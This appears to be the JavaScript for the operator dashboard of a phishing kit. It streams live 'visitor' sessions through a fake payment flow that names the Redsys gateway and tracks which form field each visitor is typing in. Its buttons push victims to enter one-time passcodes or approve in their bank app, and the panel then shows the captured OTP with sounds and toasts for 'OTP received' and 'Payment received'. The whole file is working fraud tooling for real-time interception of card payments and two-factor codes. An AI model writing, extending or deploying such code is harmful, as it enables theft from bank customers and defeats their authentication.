﻿(function () {
  'use strict';

  var cfg = window.MR_ADMIN || {};
  var visitors = {};
  var feedEl = document.getElementById('activity-feed');
  var bodyEl = document.getElementById('visitors-body');
  var countEl = document.getElementById('visitor-count');
  var statusEl = document.getElementById('sse-status');
  var queueEl = document.getElementById('verification-queue');
  var btnSound = document.getElementById('btn-sound');
  var btnMute = document.getElementById('btn-mute');

  var soundEnabled = false;
  var muted = localStorage.getItem('mr_admin_muted') === '1';
  var audioCtx = null;
  var source = null;
  var lastVerificationNotify = {};

  function initAudio() {
    if (audioCtx) return;
    audioCtx = new (window.AudioContext || window.webkitAudioContext)();
    soundEnabled = true;
    if (btnSound) btnSound.hidden = true;
    if (btnMute) {
      btnMute.hidden = false;
      btnMute.textContent = muted ? 'Unmute' : 'Mute';
    }
  }

  function playTone(freq, duration, type) {
    if (!soundEnabled || muted || !audioCtx) return;
    if (audioCtx.state === 'suspended') audioCtx.resume();
    var osc = audioCtx.createOscillator();
    var gain = audioCtx.createGain();
    osc.type = type || 'sine';
    osc.frequency.value = freq;
    gain.gain.setValueAtTime(0.15, audioCtx.currentTime);
    gain.gain.exponentialRampToValueAtTime(0.001, audioCtx.currentTime + duration);
    osc.connect(gain);
    gain.connect(audioCtx.destination);
    osc.start();
    osc.stop(audioCtx.currentTime + duration);
  }

  function playJoinSound() {
    playTone(880, 0.12);
    setTimeout(function () { playTone(1100, 0.15); }, 120);
  }

  function playPaymentSound() {
    playTone(660, 0.1);
    setTimeout(function () { playTone(990, 0.12); }, 90);
    setTimeout(function () { playTone(1320, 0.14); }, 180);
  }

  function playOtpSound() {
    playTone(1200, 0.1);
    setTimeout(function () { playTone(880, 0.12); }, 100);
  }

  function playAppConfirmSound() {
    playTone(990, 0.1);
    setTimeout(function () { playTone(1320, 0.12); }, 90);
    setTimeout(function () { playTone(880, 0.1); }, 180);
  }

  function notifyVerificationAction(data) {
    if (!data || !data.action) return;

    var sid = data.session_id || '';
    var notifyKey = sid + ':' + data.action + ':' + (data.otp || '');
    if (lastVerificationNotify[notifyKey]) return;
    lastVerificationNotify[notifyKey] = true;

    var message = data.message;
    if (!message) {
      if (data.action === 'otp_submitted') {
        message = 'OTP received: ' + (data.otp || '') + ' â€” #' + data.short_id;
      } else if (data.action === 'app_confirmed') {
        message = 'Visitor confirmed bank app â€” #' + data.short_id;
      } else if (data.action === 'waiting') {
        message = 'Visitor waiting for verification â€” #' + data.short_id;
      }
    }

    if (!message) return;

    if (data.action === 'otp_submitted') {
      playOtpSound();
    } else if (data.action === 'app_confirmed') {
      playAppConfirmSound();
    } else if (data.action === 'waiting') {
      playPaymentSound();
    }

    showToast(message);
  }

  function showToast(message) {
    var toast = document.getElementById('admin-toast');
    if (!toast) return;
    toast.textContent = message;
    toast.hidden = false;
    toast.classList.add('visible');
    clearTimeout(showToast._timer);
    showToast._timer = setTimeout(function () {
      toast.classList.remove('visible');
      setTimeout(function () { toast.hidden = true; }, 300);
    }, 5000);
  }

  function formatElapsed(sec) {
    if (sec < 60) return sec + 's';
    var m = Math.floor(sec / 60);
    var s = sec % 60;
    return m + 'm ' + s + 's';
  }

  function formatTime(iso) {
    if (!iso) return '--:--';
    var d = new Date(iso.replace(' ', 'T') + 'Z');
    return d.toLocaleTimeString('en-GB', { hour: '2-digit', minute: '2-digit', second: '2-digit' });
  }

  function actionLabel(action) {
    var map = {
      online: 'Connected',
      offline: 'Disconnected',
      focus: 'Focused',
      blur: 'Blurred',
      typing: 'Typing',
      click: 'Click',
      step_change: 'Step change',
      heartbeat: 'Active',
      visibility: 'Visibility',
      payment_submitted: 'Payment submitted',
      verification_waiting: 'Awaiting verification',
      otp_submitted: 'OTP submitted',
      app_continue: 'App confirmed'
    };
    return map[action] || action;
  }

  function escapeHtml(str) {
    if (str == null) return '';
    return String(str)
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&quot;');
  }

  function verificationAction(sessionId, action) {
    if (!cfg.verificationUrl) return Promise.reject();
    return fetch(cfg.verificationUrl, {
      method: 'POST',
      credentials: 'same-origin',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ session_id: sessionId, action: action })
    }).then(function (r) {
      if (!r.ok) throw new Error('failed');
      return r.json();
    });
  }

  function bindVerificationButtons() {
    if (!queueEl) return;
    queueEl.querySelectorAll('[data-verification-action]').forEach(function (btn) {
      btn.onclick = function () {
        var sid = btn.getAttribute('data-session');
        var action = btn.getAttribute('data-verification-action');
        btn.disabled = true;
        verificationAction(sid, action).then(function () {
          showToast('Verification updated â€” #' + sid.substring(0, 8));
        }).catch(function () {
          btn.disabled = false;
          showToast('Action failed');
        });
      };
    });
  }

  function renderVerificationQueue() {
    if (!queueEl) return;

    var list = Object.values(visitors).filter(function (v) {
      return v.verification_state && v.verification_state !== 'success';
    });

    list.sort(function (a, b) {
      return (b.verification_updated_at || b.last_seen_at || '').localeCompare(a.verification_updated_at || a.last_seen_at || '');
    });

    if (!list.length) {
      queueEl.innerHTML = '<p class="verification-queue-empty">No visitors awaiting verification.</p>';
      return;
    }

    queueEl.innerHTML = list.map(function (v) {
      var state = v.verification_state || '';
      var cardClass = 'verification-card-admin';
      if (state === 'otp_received') cardClass += ' is-otp';
      if (state === 'otp_received' || state === 'app_loading') cardClass += ' is-success-pending';

      var actions = '';
      if (state === 'waiting_admin') {
        actions =
          '<button type="button" class="btn-secondary" data-session="' + escapeHtml(v.session_id) + '" data-verification-action="show_otp">Show OTP</button>' +
          '<button type="button" class="btn-secondary" data-session="' + escapeHtml(v.session_id) + '" data-verification-action="show_app">Show App</button>';
      } else if (state === 'otp' || state === 'app') {
        actions =
          '<span class="verification-tag ' + escapeHtml(state) + '">Waiting for visitorâ€¦</span>' +
          (state === 'otp'
            ? '<button type="button" class="btn-danger-sm" data-session="' + escapeHtml(v.session_id) + '" data-verification-action="reject_otp">Invalid OTP</button>'
            : '<button type="button" class="btn-danger-sm" data-session="' + escapeHtml(v.session_id) + '" data-verification-action="reject_app">Not confirmed</button>');
      } else if (state === 'otp_received') {
        actions =
          '<button type="button" class="btn-primary-sm" data-session="' + escapeHtml(v.session_id) + '" data-verification-action="complete">Approve &amp; show success</button>' +
          '<button type="button" class="btn-danger-sm" data-session="' + escapeHtml(v.session_id) + '" data-verification-action="reject_otp">Invalid OTP</button>';
      } else if (state === 'app_loading') {
        actions =
          '<span class="verification-tag app_loading">Visitor confirming in appâ€¦</span>' +
          '<button type="button" class="btn-danger-sm" data-session="' + escapeHtml(v.session_id) + '" data-verification-action="reject_app">Not confirmed</button>';
      }

      var otpBlock = '';
      if (state === 'otp_received' && v.verification_otp) {
        otpBlock = '<div class="verification-otp-display">' + escapeHtml(v.verification_otp) + '</div>';
      }

      return '<div class="' + cardClass + '">' +
        '<div class="verification-card-head">' +
        '<strong>#' + escapeHtml(v.short_id) + '</strong>' +
        '<span class="verification-tag ' + escapeHtml(state) + '">' + escapeHtml(v.verification_state_label || state) + '</span>' +
        '</div>' +
        '<div class="verification-card-meta">' + escapeHtml(v.step_label) + ' Â· ' + escapeHtml(v.ip || 'â€”') + '</div>' +
        otpBlock +
        '<div class="verification-actions">' + actions + '</div>' +
        '</div>';
    }).join('');

    bindVerificationButtons();
  }

  function renderVisitors() {
    var list = Object.values(visitors);
    if (countEl) countEl.textContent = String(list.length);
    if (!bodyEl) return;

    if (!list.length) {
      bodyEl.innerHTML = '<tr class="empty-row"><td colspan="7">Waiting for visitorsâ€¦</td></tr>';
      renderVerificationQueue();
      return;
    }

    list.sort(function (a, b) {
      return (b.last_seen_at || '').localeCompare(a.last_seen_at || '');
    });

    bodyEl.innerHTML = list.map(function (v) {
      var field = v.field_label || v.active_field || 'â€”';
      var verTag = v.verification_state
        ? '<br><span class="verification-tag ' + escapeHtml(v.verification_state) + '">' + escapeHtml(v.verification_state_label) + '</span>'
        : '';
      return '<tr data-session="' + escapeHtml(v.session_id) + '">' +
        '<td class="session-id">' + escapeHtml(v.short_id) + '</td>' +
        '<td><span class="step-badge ' + escapeHtml(v.step) + '">' + escapeHtml(v.step_label) + '</span>' + verTag + '</td>' +
        '<td>' + escapeHtml(field) + '</td>' +
        '<td><span class="action-tag">' + escapeHtml(actionLabel(v.last_action)) + '</span></td>' +
        '<td>' + escapeHtml(formatElapsed(v.elapsed_sec || 0)) + '</td>' +
        '<td><span class="status-online">â— Online</span></td>' +
        '<td class="mono">' + (v.verification_otp ? escapeHtml(v.verification_otp) : 'â€”') + '</td>' +
        '</tr>';
    }).join('');

    renderVerificationQueue();
  }

  function prependFeed(item) {
    if (!feedEl) return;
    var li = document.createElement('li');
    li.innerHTML =
      '<span class="feed-time">' + escapeHtml(formatTime(item.created_at)) + '</span>' +
      '<span class="feed-msg">' + escapeHtml(item.message || item.type) +
      ' <span class="feed-session">#' + escapeHtml(item.short_id || '') + '</span></span>';
    feedEl.insertBefore(li, feedEl.firstChild);
    while (feedEl.children.length > 80) {
      feedEl.removeChild(feedEl.lastChild);
    }
  }

  function upsertVisitor(v) {
    var prev = visitors[v.session_id];
    visitors[v.session_id] = v;
    renderVisitors();

    if (!prev) {
      playJoinSound();
    } else if (prev.step !== v.step && (v.step === 'redsys' || v.step === 'redsys_redirect')) {
      playPaymentSound();
    }

    if (prev && prev.verification_state !== v.verification_state) {
      if (v.verification_state === 'waiting_admin') {
        notifyVerificationAction({
          action: 'waiting',
          session_id: v.session_id,
          short_id: v.short_id,
          message: 'Visitor waiting for verification â€” #' + v.short_id
        });
      } else if (v.verification_state === 'otp_received') {
        notifyVerificationAction({
          action: 'otp_submitted',
          session_id: v.session_id,
          short_id: v.short_id,
          otp: v.verification_otp,
          message: 'OTP received: ' + (v.verification_otp || '') + ' â€” #' + v.short_id
        });
      } else if (v.verification_state === 'app_loading') {
        notifyVerificationAction({
          action: 'app_confirmed',
          session_id: v.session_id,
          short_id: v.short_id,
          message: 'Visitor confirmed bank app â€” #' + v.short_id
        });
      }
    } else if (prev && prev.verification_otp !== v.verification_otp && v.verification_otp) {
      notifyVerificationAction({
        action: 'otp_submitted',
        session_id: v.session_id,
        short_id: v.short_id,
        otp: v.verification_otp,
        message: 'OTP received: ' + v.verification_otp + ' â€” #' + v.short_id
      });
    }
  }

  function applyVerificationUpdate(data) {
    var sid = data.session_id;
    if (!sid) return;

    var ver = data.verification || {};
    var shortId = data.short_id || sid.substring(0, 8);

    if (ver.verification_state === 'otp_received') {
      notifyVerificationAction({
        action: 'otp_submitted',
        session_id: sid,
        short_id: shortId,
        otp: ver.verification_otp,
        message: 'OTP received: ' + (ver.verification_otp || '') + ' â€” #' + shortId
      });
    } else if (ver.verification_state === 'app_loading') {
      notifyVerificationAction({
        action: 'app_confirmed',
        session_id: sid,
        short_id: shortId,
        message: 'Visitor confirmed bank app â€” #' + shortId
      });
    } else if (ver.verification_state === 'waiting_admin') {
      notifyVerificationAction({
        action: 'waiting',
        session_id: sid,
        short_id: shortId,
        message: 'Visitor waiting for verification â€” #' + shortId
      });
    }

    if (!visitors[sid]) return;

    var v = visitors[sid];
    v.verification_state = ver.verification_state;
    v.verification_otp = ver.verification_otp;
    v.verification_updated_at = ver.verification_updated_at;
    v.verification_error = ver.verification_error;
    v.verification_state_label = ver.verification_state
      ? (ver.verification_state === 'waiting_admin' ? 'Awaiting verification'
        : ver.verification_state === 'otp_received' ? 'OTP received'
        : ver.verification_state === 'app_loading' ? 'App confirming'
        : ver.verification_state)
      : 'â€”';
    upsertVisitor(v);
  }

  function removeVisitor(sessionId) {
    delete visitors[sessionId];
    renderVisitors();
  }

  function connect() {
    if (source) source.close();

    if (statusEl) {
      statusEl.textContent = 'Connectingâ€¦';
      statusEl.className = 'sse-badge';
    }

    source = new EventSource(cfg.streamUrl);

    source.addEventListener('open', function () {
      if (statusEl) {
        statusEl.textContent = 'Live';
        statusEl.className = 'sse-badge connected';
      }
    });

    source.addEventListener('snapshot', function (e) {
      var data = JSON.parse(e.data);
      visitors = {};
      (data.visitors || []).forEach(function (v) {
        visitors[v.session_id] = v;
      });
      renderVisitors();
      if (feedEl) {
        feedEl.innerHTML = '';
        (data.feed || []).slice().reverse().forEach(prependFeed);
      }
    });

    source.addEventListener('visitor_joined', function (e) {
      upsertVisitor(JSON.parse(e.data).visitor);
    });

    source.addEventListener('visitor_updated', function (e) {
      upsertVisitor(JSON.parse(e.data).visitor);
    });

    source.addEventListener('visitor_left', function (e) {
      removeVisitor(JSON.parse(e.data).session_id);
    });

    source.addEventListener('verification_update', function (e) {
      applyVerificationUpdate(JSON.parse(e.data));
    });

    source.addEventListener('verification_action', function (e) {
      var data = JSON.parse(e.data);
      notifyVerificationAction(data);
      if (data.message) {
        prependFeed({
          type: 'verification',
          message: data.message,
          created_at: data.created_at,
          short_id: data.short_id
        });
      }
    });

    source.addEventListener('feed_item', function (e) {
      var data = JSON.parse(e.data);
      if (data.event && data.event.type === 'verification' && data.event.message) {
        prependFeed(data.event);
        return;
      }
      if (data.event && data.event.type === 'payment_submitted') return;
      prependFeed(data.event);
    });

    source.addEventListener('payment_received', function (e) {
      var data = JSON.parse(e.data);
      var user = data.user || {};
      var label = (user.full_name || user.email || 'Visitor').trim();
      playPaymentSound();
      showToast('Payment received â€” ' + label);
      prependFeed({
        type: 'payment_submitted',
        message: 'Payment received â€” ' + label,
        created_at: user.payment_submitted_at || user.updated_at,
        short_id: (user.session_id || '').substring(0, 8)
      });
    });

    source.addEventListener('ping', function () {});

    source.onerror = function () {
      if (statusEl) {
        statusEl.textContent = 'Reconnectingâ€¦';
        statusEl.className = 'sse-badge error';
      }
    };
  }

  btnSound && btnSound.addEventListener('click', function () {
    initAudio();
    playJoinSound();
  });

  btnMute && btnMute.addEventListener('click', function () {
    if (!soundEnabled) initAudio();
    muted = !muted;
    localStorage.setItem('mr_admin_muted', muted ? '1' : '0');
    btnMute.textContent = muted ? 'Unmute' : 'Mute';
  });

  setInterval(function () {
    Object.keys(visitors).forEach(function (sid) {
      var v = visitors[sid];
      if (v.elapsed_sec != null) v.elapsed_sec += 1;
    });
    if (Object.keys(visitors).length) renderVisitors();
  }, 1000);

  connect();
})();

